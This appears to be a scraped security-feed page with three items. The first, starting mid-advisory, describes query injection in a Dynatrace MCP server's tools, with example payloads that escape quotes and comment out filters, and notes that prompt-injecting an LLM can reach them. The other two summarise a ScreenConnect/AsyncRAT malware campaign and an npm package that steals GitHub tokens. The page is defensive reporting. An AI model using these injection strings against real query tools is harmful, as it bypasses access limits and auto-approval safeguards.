`` `smartscapeNodes "*" \| search "*${entityNames.join('*" OR "*')}*" \| fields id, name, type` `` | | `src/capabilities/list-problems.ts` | 27 | `timeframe` | `` `fetch dt.davis.problems, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/list-vulnerabilities.ts` | 19 | `timeframe` | `` `fetch security.events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/list-exceptions.ts` | 11 | `timeframe` | `` `fetch user.events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/get-events-for-cluster.ts` | 20 | `timeframe` | `` `fetch events, from: now()-${timeframe}, to: now()` `` | | `src/capabilities/get-events-for-cluster.ts` | 27 | `clusterId`, `kubernetesEntityId` | `` `\| filter k8s.cluster.uid == "${clusterId}" or dt.entity.kubernetes_cluster == "${kubernetesEntityId}"` `` | All Zod schemas for these parameters use `z.string()` or `z.array(z.string())` with no pattern validation. ### PoC **`clusterId` - quote-and-comment break-out.** With `clusterId = 'x" or 1==1 //'` the constructed query becomes: ``` | filter k8s.cluster.uid == "x" or 1==1 //" or dt.entity.kubernetes_cluster == "" ``` The first `"` closes the string literal, `or 1==1` neutralises the filter to match every row, and `//` discards the rest of the line including the `kubernetesEntityId` guard. **`entityNames` - pipeline-stage injection.** With `entityNames = ['svc" | fields id, name, tags //']` the constructed smartscape query becomes: ``` smartscapeNodes "*" | search "*svc" | fields id, name, tags //*" | fields id, name, type ``` After the `//` line comment, the effective query is `smartscapeNodes "*" | search "*svc" | fields id, name, tags`. The original `| fields id, name, type` stage is suppressed and replaced with the attacker's field selection - the tool returns whatever field set the attacker requests (including ones not in the tool's documented output contract). **`timeframe` - prefix injection.** With `timeframe = '30d, to: now() | fieldsAdd internal_secret //'` the list-problems query becomes: ``` fetch dt.davis.problems, from: now()-30d, to: now() | fieldsAdd internal_secret //, to: now() | filter isNull(dt.davis.is_duplicate) OR not(dt.davis.is_duplicate) ... ``` A new pipeline stage is injected before the tool's intended `| filter`, and the rest of the query is commented out. The server's own `verify_dql` tool can be used to confirm any specific injection payload parses as valid DQL. ### Impact - A caller (typically via prompt injection of an LLM that has access to the affected tools) can bypass the tools' field-scope, time-window, and display caps. - The affected tools are annotated `readOnlyHint: true`, which some MCP clients treat as a signal to auto-approve. The injection turns a "safe" read tool into an arbitrary-DQL surface. - No new data access beyond what `execute_dql` already provides - the marginal impact is the auto-approval pathway and the broken tool contract, not privilege escalation. | GCVE Database | |||
| –Not rated | – | Kaspersky Security Blog Leveraging legitimate software is one of cybercriminals’ tactics of choice, with remote management tools ranking among their top tools. A recent example involves the remote administration utility ScreenConnect. It’s designed for IT support teams to troubleshoot systems and configure software seamlessly in the background. However, when weaponized by threat actors, ScreenConnect becomes a versatile attack vehicle used to harvest data, deploy malware, and move laterally across corporate networks. During a recent incident detected by Kaspersky Managed Detection and Response , our experts identified an attempt to use ScreenConnect in an attack. This allowed a detailed study of how attackers used this application in a large-scale malware distribution campaign. The following breakdown illustrates the mechanics of ScreenConnect-assisted attacks, and outlines key strategies to defend your organization against them. How ScreenConnect reaches target computers In the campaign analyzed by our experts, the attackers bundled ScreenConnect with legitimate free business software. They established a network of phishing websites to spoof popular tools, including OBS Studio, DS4Windows, DNS Jumper, Glary Utilities, Bandizip, Process Hacker, and others. These rogue websites featured high-quality designs that could be taken for the official pages, making them highly convincing to unsuspecting users. Once the victim clicks the download button for the software, an archive is downloaded to their computer that contains additional files alongside the requested application: A legitimately signed Microsoft executable ( exe ), renamed to match the expected application installer (for example, OBS-Studio-Installer.exe ) A malicious library named res.1033.dll An Assets directory containing installers for both ScreenConnect and the intended application Launching the renamed file disguised as the app installer triggers DLL sideloading of a malicious library. This library silently runs the ScreenConnect installation without restarting the system, while using the standard Windows installer to set up the software the user originally tried to install. The attackers used search engine optimization techniques to drive traffic to their fake websites. As a result, these malicious pages appeared at the top of search results for certain free software utilities on major search engines. Our experts discovered over 90 domain names translated into more than 10 different languages. While most of these websites targeted English, Russian, and Chinese speakers, several domains catered to German, French, Spanish, Arabic, and other regional audiences. A detailed analysis of the IP addresses and associated spoofed domains is available in our technical research article on Securelist, along with full indicators of compromise. Why the attackers exploited ScreenConnect In this campaign, attackers leveraged ScreenConnect to generate and execute malicious scripts on victim machines. These scripts served several key functions: they created exclusions for specific drives, directories, and processes within Windows Defender, disabled the User Account Control (UAC) security mechanism, and delivered and deployed AsyncRAT – a remote access Trojan. To maintain persistence, the scripts configured a Windows scheduled task to run the malicious code at preset intervals. AsyncRAT then established a connection with the attackers’ command-and-control server to receive further instructions. The primary objective of this campaign appears to be gaining unauthorized access to enterprise systems, likely to then resell it on cybercrime marketplaces. How to secure corporate infrastructure Although ScreenConnect in and of itself is a legitimate tool, its presence poses a security risk to corporate environments. Consequently, Kaspersky security solutions detect this application as not-a-virus:HEUR:RemoteAdmin.MSIL.ConnectWise.gen. Security teams should implement the following controls: Enforce strict applicatio… | Kaspersky Security Blog | |||
| –Not rated | – | AlienVault OTX General The Intercom TypeScript Library version 7.0.4 has been compromised with malicious code that harvests GitHub credentials. Upon installation, the package executes a preinstall hook that downloads the Bun runtime, then runs a payload to extract GitHub credentials using the gh auth token command. The attack employs sophisticated C2 communication by querying GitHub's commit search API for specific strings embedded in public repositories, effectively using legitimate services to evade detection. The attack patterns mirror previous Shai-Hulud compromises, which exhibit worm-like behavior by automatically using stolen credentials to infect additional npm packages. With 361,510 weekly downloads, this compromise poses significant risk for a widespread infection wave similar to November 2025 when over 1,000 packages were affected. | AlienVault OTX General |
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